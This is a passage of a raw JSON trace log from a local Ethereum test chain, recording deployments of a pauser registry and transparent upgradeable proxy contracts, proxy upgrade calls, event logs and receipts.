00000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000420000000000000000000000000000000000000000000000000000000000001000000000100000000000000"},"block_hash":"0xc0a1e423681d43bb6a6f65f74cea24f4c5d4656f0e46461bd3cfed1c0551d972","block_number":4},{"info":{"transaction_hash":"0x0522948d2d86e6eefacbffda3bf89dd98f7aadad2949c5b6086eac98993fee0f","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c4d4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":145473,"gas_limit":223757,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0x0165878a594ca255338adfa4d48449f69242eb8f","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef2860000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000c4d4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":138912,"gas_limit":213850,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0x0165878a594ca255338adfa4d48449f69242eb8f","address":"0x0b306bf915c4d645ff596e518faf3f9669b97016","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xd4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e8","output":"0x","gas_used":125780,"gas_limit":197799,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb","0x0000000000000000000000000000000000000000000000000000000000000000","0x00000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad4"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xaf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c20"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06"],"data":"0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e8"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4},{"Log":5},{"Log":6}]}],"exit":"Stop","out":"0x","nonce":23,"gas_used":169265},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x29531","logs":[{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016"],"data":"0x"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0x237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb","0x0000000000000000000000000000000000000000000000000000000000000000","0x00000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad4"],"data":"0x"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0xaf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c20"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0x8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06"],"data":"0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e8"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000040000008400000000000000000800000000000000010000000000000000000000000000000000000000000100000000000000000041000000000000000000400000402000001002000000000000000000000000000020000020000000000000300800800000004000000000000000000000000440000000100000000000000000000000000000000000080000000000000100000000000000000000000000000000400000000000000000000000000000000000000000024400000200000000000040000000000002008002000000000000020000000000000000100400800000400000000000000000000000000000001400200"},"block_hash":"0xe5e6a123d0b8304491d040d1cb2d2d7de538f574ac284c6fd811de7f37d2532d","block_number":20},{"info":{"transaction_hash":"0x0e82a05114b4f5500f0780cde6eb6db9ac17bed907d0bf541f1187d2c3d747f4","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x99a88ec400000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc490000000000000000000000009d4454b023096f34b160d6b654540c56a1f81688","output":"0x","gas_used":17021,"gas_limit":31821,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","address":"0x70e0ba845a1a0f2da3359c97e0285013525ffc49","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x3659cfe60000000000000000000000009d4454b023096f34b160d6b654540c56a1f81688","output":"0x","gas_used":11547,"gas_limit":25979,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009d4454b023096f34b160d6b654540c56a1f81688"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Stop","out":"0x","nonce":46,"gas_used":38821},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x1c0397","logs":[{"address":"0x70e0ba845a1a0f2da3359c97e0285013525ffc49","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009d4454b023096f34b160d6b654540c56a1f81688"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000002200040000000000100000000000000000000000000000000000040004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x4a979620565bfe97a5607de9791d44fe6f8f605f2ad6877c2f02fde835f49757","block_number":9},{"info":{"transaction_hash":"0x80ad60ea39051d4db7ecd3383a51651b4017c9c2c7613e87784190be41ab3dc5","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xa82ff9afd8f496c3d6ac40e2a0f282e47488cfc9","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xa82ff9afd8f496c3d6ac40e2a0f282e47488cfc9","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405234801561001057600080fd5b5060405161074538038061074583398101604081905261002f91610259565b60005b825181101561006d576100658382815181106100505761005061032f565b6020026020010151600161007e60201b60201c565b600101610032565b5061007781610150565b5050610345565b6001600160a01b0382166100ef5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b60648201526084015b60405180910390fd5b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b0381166101be5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b60648201526084016100e6565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b80516001600160a01b038116811461025457600080fd5b919050565b6000806040838503121561026c57600080fd5b82516001600160401b038082111561028357600080fd5b818501915085601f83011261029757600080fd5b81516020828211156102ab576102ab610227565b8160051b604051601f19603f830116810181811086821117156102d0576102d0610227565b6040529283528183019350848101820192898411156102ee57600080fd5b948201945b83861015610313576103048661023d565b855294820194938201936102f3565b9650610322905087820161023d565b9450505050509250929050565b634e487b7160e01b600052603260045260246000fd5b6103f1806103546000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea264697066735822122082d0bf2d943ad14055e4e88fc955638b565f43d854afdcd3d6cd966fe8c2201a64736f6c634300081800330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","output":"0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea264697066735822122082d0bf2d943ad14055e4e88fc955638b565f43d854afdcd3d6cd966fe8c2201a64736f6c63430008180033","gas_used":250214,"gas_limit":350091,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea264697066735822122082d0bf2d943ad14055e4e88fc955638b565f43d854afdcd3d6cd966fe8c2201a64736f6c63430008180033","nonce":34,"gas_used":333472},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x516a0","logs":[{"address":"0xa82ff9afd8f496c3d6ac40e2a0f282e47488cfc9","topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},{"address":"0xa82ff9afd8f496c3d6ac40e2a0f282e47488cfc9","topics":["0x06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"}],"logsBloom":"0x00000000000000040000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000004001000000000000000"},"block_hash":"0xeaf252f7a75ebd279d9263a27c3187a39907685889286f8289865c6db2d8b9fa","block_number":2},{"info":{"transaction_hash":"0x3a179753e0b4c5cdd52b7b5c560acb08426c4082500c676cea02d0cc9a77beff","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xcf7ed3acca5a467e9e704c703e8d87f634fb0fc9","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160